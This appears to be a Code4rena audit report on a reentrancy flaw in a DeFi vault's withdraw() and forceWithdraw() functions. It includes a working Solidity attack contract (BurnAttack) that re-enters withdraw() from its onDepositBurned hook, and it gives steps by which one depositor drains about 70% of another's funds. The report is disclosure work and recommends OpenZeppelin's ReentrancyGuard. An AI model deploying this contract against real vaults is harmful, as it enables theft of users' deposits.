Vault: onDepositBurn() causes users to unfairly have their deposits allocated as yield

[code423n4]

Handle

hickuphh3

Vulnerability details

Impact

The withdraw() and forceWithdraw() functions do not have reentrancy protection. This allows reentrancy to occur through the implementation of a malicious claim’s beneficiary onDepositBurn() function that will cause the incorrect amount of shares to be minted to the attacker.

Specifically, while deposit shares for the first withdrawal have been burnt, funds have not been transferred when reentrancy occurs. Hence, the shares calculated for the reentrant withdrawals use a higher totalUnderlyingMinusSponsored() than expected, resulting in less deposit shares required calculated (and thus allocated as claim shares instead).

Proof of Concept

A gist of the attack script and contract is attached here.

We have the following malicious beneficiary contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import '../integrations/IIntegration.sol';
import '../vault/IVault.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol';

contract BurnAttack is IIntegration, ERC165, ERC721Holder {
    address public admin;
    uint256 public tokenId;
    bool public entered;

    constructor(address _admin) {
        admin = _admin;
    }

    function setTokenId(uint256 _tokenId) external {
        tokenId = _tokenId;
    }

    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IIntegration).interfaceId || super.supportsInterface(interfaceId);
    }

    function onDepositMinted(
        uint256 _depositID,
        uint256 _shares,
        bytes memory _data
    ) external returns (bytes4) {
        return bytes4(keccak256("onDepositMinted(uint256,uint256,bytes)"));
    }

    function onDepositBurned(
        uint256 _depositID // unused because burning different tokenId
    ) external returns (bytes4) {
        // only need to re-enter once
        if (!entered) {
            entered = true;
            // call withdraw with depositID
            uint256[] memory ids = new uint256[](1);
            ids[0] = tokenId;
            IVault(msg.sender).withdraw(admin, ids);
        } 
        return bytes4(keccak256("onDepositBurned(uint256)"));
    }

    function claimYield(IVault vault) external {
        vault.claimYield(admin);
    }
}

1. Assume Alice calls deposit() with 1000 DAI (underlying token).
2. Bob executes 1 deposit of 10_000 DAI, with 2 instances of the same malicious beneficiary. This results in the minting of 2 deposit NFTs. One would be used for reentrancy, while the other for the invocation of the withdraw() function.
3. Bob performs the malicious reentrant withdraw, receiving a portion of Alice’s funds as part of yield.

We see the following effects:

1. If Alice attempts to withdraw, the transaction will revert with Vault: cannot withdraw more than the available amount. Executing a forced withdrawal results in her only receiving ~ 305 DAI in return (about 69.5% loss).
2. Bob (to be precise, the beneficiary) is given Alice’s DAI as yield.

It is therefore clear that Bob’s exploit has resulted in the loss of Alice’s funds.

Recommended Mitigation Steps

Import and use OpenZeppelin’s reentrancy guard for crucial user actions (deposits, claiming yields and withdrawals).

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

[naps62]

duplicate of #3